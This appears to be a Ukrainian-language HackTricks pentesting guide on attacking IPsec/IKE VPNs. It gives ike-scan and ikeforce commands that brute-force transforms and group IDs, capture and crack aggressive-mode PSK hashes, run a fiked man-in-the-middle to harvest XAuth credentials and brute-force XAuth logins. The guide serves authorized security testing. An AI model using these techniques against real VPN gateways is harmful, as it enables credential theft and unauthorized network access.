500/udp - Pentesting IPsec/IKE VPN

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Група з безпеки Try Hard


Основна інформація

IPsec широко визнаний як основна технологія для захисту зв'язків між мережами (LAN-to-LAN) та від віддалених користувачів до мережевого шлюзу (віддалений доступ), що служить основою для корпоративних рішень щодо VPN.

Встановлення асоціації з безпекою (SA) між двома точками керується IKE, який працює в рамках ISAKMP, протоколу, призначеного для аутентифікації та обміну ключами. Цей процес розгортається у кілька фаз:

  • Фаза 1: Між двома кінцевими точками створюється безпечний канал. Це досягається за допомогою Попередньо встановленого ключа (PSK) або сертифікатів, використовуючи або головний режим, який включає три пари повідомлень, або агресивний режим.

  • Фаза 1.5: Хоча ця фаза, відома як Розширена фаза аутентифікації, не є обов'язковою, вона перевіряє ідентичність користувача, який намагається підключитися, вимагаючи ім'я користувача та пароль.

  • Фаза 2: Ця фаза присвячена узгодженню параметрів для захисту даних за допомогою ESP та AH. Вона дозволяє використовувати алгоритми, відмінні від тих, що в Фазі 1, для забезпечення Передачі ключів з перфектною таємницею вперед (PFS), підвищуючи безпеку.

Порт за замовчуванням: 500/udp

Виявлення сервісу за допомогою nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Знаходження дійсного перетворення

Конфігурацію IPSec можна підготувати лише для прийняття одного або кількох перетворень. Перетворення - це комбінація значень. Кожне перетворення містить кілька атрибутів, таких як DES або 3DES як алгоритм шифрування, SHA або MD5 як алгоритм цілісності, попередньо встановлений ключ як тип аутентифікації, Діффі-Геллман 1 або 2 як алгоритм розподілу ключа та 28800 секунд як тривалість життя.

Отже, перш за все вам потрібно знайти дійсне перетворення, щоб сервер почав з вами спілкуватися. Для цього ви можете використовувати інструмент ike-scan. За замовчуванням Ike-scan працює в основному режимі та відправляє пакет на шлюз з заголовком ISAKMP та одним пропозицією з восьми перетвореннями всередині.

Залежно від відповіді ви можете отримати деяку інформацію про кінцеву точку:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Як ви можете побачити в попередньому відповіді, є поле під назвою AUTH зі значенням PSK. Це означає, що VPN налаштований за допомогою попередньо встановленого ключа (і це дійсно добре для пентестера). Значення останнього рядка також дуже важливе:

  • 0 повернутий handshake; 0 повернутий notify: Це означає, що ціль не є IPsec шлюзом.

  • 1 повернутий handshake; 0 повернутий notify: Це означає, що ціль налаштована для IPsec і готова виконати переговори IKE, і один або декілька запропонованих трансформацій прийнятні (дійсна трансформація буде показана в виводі).

  • 0 повернутий handshake; 1 повернутий notify: Шлюзи VPN відповідають повідомленням notify, коли жодна з трансформацій не є прийнятною (хоча деякі шлюзи цього не роблять, у такому випадку слід провести подальший аналіз і спробувати переглянути пропозицію).

Тоді, в цьому випадку у нас вже є дійсна трансформація, але якщо ви опинилися в 3-му випадку, вам потрібно трохи підбирати дійсну трансформацію:

Спочатку вам потрібно створити всі можливі трансформації:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

І потім перебрати кожен за допомогою ike-scan (це може зайняти кілька хвилин):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Якщо перебір паролів не працює, можливо, сервер відповідає без рукостискань навіть на дійсні трансформації. Тоді ви можете спробувати той самий перебір паролів, але використовуючи агресивний режим:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Надіюсь, дійсне перетворення повертається. Ви можете спробувати той самий атаку за допомогою iker.py. Ви також можете спробувати перебрати перетворення за допомогою ikeforce:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

У Групі DH: 14 = 2048-бітний MODP і 15 = 3072-бітний 2 = HMAC-SHA = SHA1 (у цьому випадку). Формат --trans - $Enc,$Hash,$Auth,$DH

Cisco вказує уникати використання груп DH 1 та 2, оскільки вони недостатньо міцні. Експерти вважають, що країни з великими ресурсами можуть легко розшифрувати дані, які використовують ці слабкі групи. Це робиться за допомогою спеціального методу, який готує їх до швидкого розкриття кодів. Навіть якщо це коштує багато грошей для налаштування цього методу, це дозволяє цим потужним країнам читати зашифровані дані в реальному часі, якщо вони використовують групу, яка не є міцною (наприклад, 1,024-бітна або менша).

Відбиток сервера

Потім ви можете використовувати ike-scan, щоб спробувати виявити виробника пристрою. Інструмент надсилає початкову пропозицію та припиняє повторне відтворення. Потім він аналізує різницю часу між отриманими повідомленнями від сервера та відповідним шаблоном відповіді, пентестер може успішно встановити відбиток виробника VPN-шлюза. Більше того, деякі VPN-сервери будуть використовувати необов'язковий полезний навантаження ідентифікатора виробника (VID) з IKE.

Вкажіть дійсне перетворення, якщо потрібно (використовуючи --trans)

Якщо IKE виявить, який виробник, він виведе його:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Це також можна досягти за допомогою сценарію nmap ike-version

Пошук правильного ідентифікатора (назви групи)

Для того, щоб мати можливість захопити хеш, вам потрібно мати дійсне перетворення, яке підтримує агресивний режим та правильний ідентифікатор (назву групи). Ймовірно, ви не будете знати дійсну назву групи, тому вам доведеться виконати перебір. Для цього я рекомендую вам 2 методи:

Перебір ID за допомогою ike-scan

Спочатку спробуйте зробити запит зі штучним ідентифікатором, намагаючись зібрати хеш ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Якщо хеш не повертається, то, ймовірно, цей метод брутфорсу буде працювати. Якщо повертається якийсь хеш, це означає, що для фальшивого ідентифікатора буде відправлено фальшивий хеш, тому цей метод не буде надійним для брутфорсу ідентифікатора. Наприклад, може бути повернений фальшивий хеш (це стається в сучасних версіях):

Але, як я вже сказав, якщо хеш не повертається, то вам слід спробувати брутфорсити загальні назви груп за допомогою ike-scan.

Цей скрипт спробує брутфорсити можливі ідентифікатори і поверне ідентифікатори, де повернеться дійсний "handshake" (це буде дійсна назва групи).

Якщо ви виявили конкретне перетворення, додайте його у команду ike-scan. І якщо ви виявили кілька перетворень, не соромтеся додати новий цикл, щоб спробувати їх всі (ви повинні спробувати їх всі, поки одне з них не працюватиме належним чином).

Ви можете використовувати словник ikeforce або той, що в seclists зі загальними назвами груп для брутфорсу їх:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Відкриття ID за допомогою Iker

iker.py також використовує ike-scan для перебору можливих назв груп. Він використовує власний метод для знаходження дійсного ID на основі виводу ike-scan.

Відкриття ID за допомогою ikeforce

ikeforce.py - це інструмент, який можна використовувати для перебору ID також. Цей інструмент буде намагатися використати різні вразливості, які можуть бути використані для відрізнення між дійсним та недійсним ID (може бути помилкові позитиви та помилкові негативи, тому я віддаю перевагу використанню методу ike-scan, якщо це можливо).

За замовчуванням ikeforce відправить спочатку деякі випадкові ідентифікатори, щоб перевірити поведінку сервера та визначити тактику використання.

  • Перший метод полягає в переборі назв груп шляхом пошуку інформації Dead Peer Detection DPD систем Cisco (ця інформація відтворюється лише сервером, якщо назва групи вірна).

  • Другий доступний метод - перевірка кількості відправлених відповідей на кожну спробу, оскільки іноді більше пакетів відправляються, коли використовується правильний ідентифікатор.

  • Третій метод полягає в пошуку "INVALID-ID-INFORMATION" у відповідь на неправильний ID.

  • Нарешті, якщо сервер не відповідає на перевірки, ikeforce спробує перебороти сервер та перевірити, чи сервер відповідає на правильний ідентифікатор якимось пакетом. Очевидно, метою перебору ідентифікатора є отримання PSK, коли у вас є дійсний ідентифікатор. Потім, з ідентифікатором та PSK вам доведеться перебрати XAUTH (якщо він увімкнений).

Якщо ви виявили конкретне перетворення, додайте його у команду ikeforce. І якщо ви виявили кілька перетворень, не соромтеся додати новий цикл для спроби всіх них (ви повинні спробувати всі до тих пір, поки одне з них не працюватиме належним чином).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Підслуховування ID

(З книги Оцінка мережевої безпеки: Знайомтесь з вашою мережею): Також можна отримати дійсні імена користувачів, підслуховуючи з'єднання між клієнтом VPN та сервером, оскільки перший пакет режиму агресивного режиму, що містить ідентифікатор клієнта, відправляється відкрито

Захоплення та розшифрування хешу

Нарешті, якщо ви знайшли дійсне перетворення та назву групи і якщо режим агресивного режиму дозволений, то ви можете дуже легко захопити розкривний хеш:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Хеш буде збережено всередині hash.txt.

Ви можете використовувати psk-crack, john (використовуючи ikescan2john.py) та hashcat для взлому хешу:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Агресивний режим IKE, поєднаний з Pre-Shared Key (PSK), зазвичай використовується для групової аутентифікації. Цей метод доповнюється XAuth (Extended Authentication), який служить для введення додаткового рівня аутентифікації користувача. Така аутентифікація зазвичай використовує послуги, такі як Microsoft Active Directory, RADIUS або подібні системи.

Перехід до IKEv2 призводить до помітного зсуву, де використовується EAP (Extensible Authentication Protocol) замість XAuth для аутентифікації користувачів. Ця зміна підкреслює еволюцію практик аутентифікації в безпечних протоколах зв'язку.

Локальна атака Man-in-the-Middle для захоплення облікових даних

Таким чином, ви можете захопити дані входу, використовуючи fiked і переглянути, чи є які-небудь стандартні імена користувачів (Вам потрібно перенаправити трафік IKE на fiked для підслуховування, що можна зробити за допомогою ARP-підроблення, додаткова інформація). Fiked буде діяти як кінцева точка VPN і захоплюватиме облікові дані XAuth:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Також, використовуючи IPSec, спробуйте здійснити атаку типу "людина посередині" і заблокуйте весь трафік на порт 500, якщо тунель IPSec не може бути встановлений, можливо, трафік буде відправлений відкрито.

Brute-forcing XAUTH username ad password with ikeforce

Для перебору XAUTH (коли ви знаєте дійсне ім'я групи id та psk), ви можете використовувати ім'я користувача або список імен користувачів та список паролів:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Цим чином, ikeforce спробує підключитися, використовуючи кожну комбінацію імені користувача: пароля.

Якщо ви знайшли один або кілька дійсних трансформацій, просто використовуйте їх, як у попередніх кроках.

Аутентифікація з IPSEC VPN

У Kali для встановлення тунелів IPsec використовується VPNC. Профілі повинні бути розташовані в каталозі /etc/vpnc/. Ви можете ініціювати ці профілі за допомогою команди vpnc.

Наступні команди та конфігурації ілюструють процес налаштування підключення до VPN за допомогою VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

У цьому налаштуванні:

  • Замініть [VPN_GATEWAY_IP] на фактичну IP-адресу шлюзу VPN.

  • Замініть [VPN_CONNECTION_ID] на ідентифікатор підключення до VPN.

  • Замініть [VPN_GROUP_SECRET] на секретну групу VPN.

  • Замініть [VPN_USERNAME] та [VPN_PASSWORD] на облікові дані аутентифікації VPN.

  • [PID] символізує ідентифікатор процесу, який буде призначено при ініціалізації vpnc.

Переконайтеся, що для налаштування VPN використовуються фактичні, безпечні значення для заміни заповнювачів.

Джерела матеріалів

Shodan

  • port:500 IKE

Try Hard Security Group

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated